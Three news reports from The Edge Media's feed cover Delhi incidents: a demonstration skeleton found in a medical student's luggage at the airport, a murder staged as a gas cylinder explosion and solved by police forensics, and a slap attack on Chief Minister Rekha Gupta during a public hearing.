The post Brief Panic at Delhi Airport After Skeleton Found in Passenger Luggage appeared first on The Edge Media.
]]>Following a preliminary inspection, police officials clarified that the skeleton was a demonstration model commonly used by medical students for educational purposes.
The item was found inside the luggage of a medical student, confirming that it was not connected to any criminal or suspicious activity.
Despite the clarification, Delhi Police said the skeleton has been sent for forensic examination to eliminate any remaining doubts. Officials stated that the scientific analysis would conclusively establish that the recovered item is a demo skeleton used for training and not actual human remains.
Security at the terminal was normalised shortly after the clarification, and airport operations were not disrupted.

]]>The post Forensic Student’s “Perfect Murder” Plan Fails as Delhi Police Uncover Truth Behind UPSC Aspirant’s Death appeared first on The Edge Media.
]]>According to Delhi Police, Amrita Chauhan, aged 21, along with her former boyfriend Sumit Kashyap, 27, and their associate Sandeep Kumar, 29, strangled Meena in his Gandhi Vihar apartment earlier this month. After the killing, the trio poured oil, ghee, and wine on the body, intending to ensure it was completely burnt. The motive, as police revealed, was Meena’s alleged refusal to delete Amrita’s private photos and videos stored on his hard drive.
Amrita, who studied forensic science and frequently watched crime-based web series, reportedly used her knowledge to fabricate the scene as a gas cylinder blast. Initially, investigators found a burnt body and a burst gas cylinder, which appeared consistent with an accidental fire.
However, forensic specialists noticed irregularities in the burn pattern that did not match a typical explosion. This prompted a deeper probe. Surveillance footage from the area showed two masked men entering the building on the night of October 5, followed later by Amrita and another individual. Shortly after they left, a fire broke out in the apartment. These visuals redirected the investigation toward foul play.
Through phone records and technical tracking, investigators confirmed Amrita’s presence near the crime scene. She was arrested from Moradabad on October 18, where she confessed to her involvement during interrogation. She claimed that Meena’s refusal to delete their intimate recordings pushed her to plan revenge with the help of her ex-boyfriend Sumit. Sandeep also joined them in executing the plan.
Police reports stated that on the night between October 5 and 6, the three suspects entered Meena’s flat. Sumit and Sandeep strangled the victim while Amrita poured oil, ghee, and wine on his body. Sumit, who worked as an LPG distributor, opened the gas valve and set the fire to simulate an accident. The group locked the apartment from inside by reaching through a gap in the iron gate and fled with Meena’s hard disk, laptop, and personal items. About an hour later, the explosion occurred, setting the flat ablaze.
Authorities said they have substantial proof, including CCTV recordings, recovered digital evidence, and physical items linked to the suspects. Following Amrita’s arrest, police seized a hard drive, a trolley bag, and a shirt belonging to the deceased. Sumit was later captured from Moradabad, and Sandeep was arrested two days afterward. Police have sent the recovered hard disk for forensic examination, and the investigation remains ongoing.
Special Commissioner of Police Ravindra Yadav stated that the crime was meticulously planned but was solved even more precisely through scientific investigation. He added that no matter how perfect a plan may seem, criminals always leave traces, and the police were able to identify and connect those clues effectively.

]]>The post Delhi Erupts in Shock: CM Rekha Gupta Attacked During Jan Sunwai, Attacker Nabbed! appeared first on The Edge Media.
]]>The Shocking Sequence of Events
According to eyewitnesses, the assailant, later identified as Rajesh Bhai Khimji Bhai Sakariya, a 41-year-old resident of Rajkot, Gujarat, walked into the camp office disguised as an aggrieved citizen. Carrying a set of documents, he patiently waited for his turn and then approached the Chief Minister.
Within seconds, the situation escalated. After handing over some papers, the accused lunged forward and allegedly slapped the Chief Minister. Chaos erupted inside the office as officials, security guards, and citizens struggled to process what had just happened.
CM Rekha Gupta’s Condition
Sources close to the CM’s office confirmed that Rekha Gupta sustained minor injuries to her hand and head. She was immediately checked by doctors and is now reported to be out of danger but visibly shaken.
“Madam is stable, but the incident has deeply disturbed her. We are reviewing security protocols,” a senior official from the CM’s team said.
Who Is the Attacker?
The accused, Rajesh Sakariya, hails from Rajkot, Gujarat and is known to be an animal lover. Investigators have revealed that he was enraged over a recent Supreme Court order on the relocation of stray dogs in Delhi-NCR.
Officials believe the attack may have been premeditated. Sources claim that Sakariya conducted surveillance near the CM’s residence and camp office for almost 24 hours before striking. A mobile phone recovered from him allegedly contains videos of prior reconnaissance.
Explosive Political Reactions
The attack has ignited a political firestorm. Leaders across party lines have condemned the assault, calling it a direct attack on democracy.
BJP leaders called the incident a cowardly and pre-planned conspiracy, demanding an immediate probe.
AAP spokespersons slammed the security lapses, saying, “If the Chief Minister isn’t safe inside her own office, how can ordinary citizens feel secure?”
Congress leaders expressed solidarity with Gupta, urging the Centre to strengthen VIP security measures.
Meanwhile, the Delhi Police and the Ministry of Home Affairs have launched a **high-level investigation** into the matter.
What Comes Next
Sakariya is currently in custody and will be interrogated further to determine whether the attack was a lone-wolf act or part of a larger conspiracy. Investigators are also exploring his political affiliations, mental health records, and any links to activist groups.
Security at the CM’s residence and camp office has been dramatically tightened, with additional paramilitary forces deployed in and around Civil Lines.
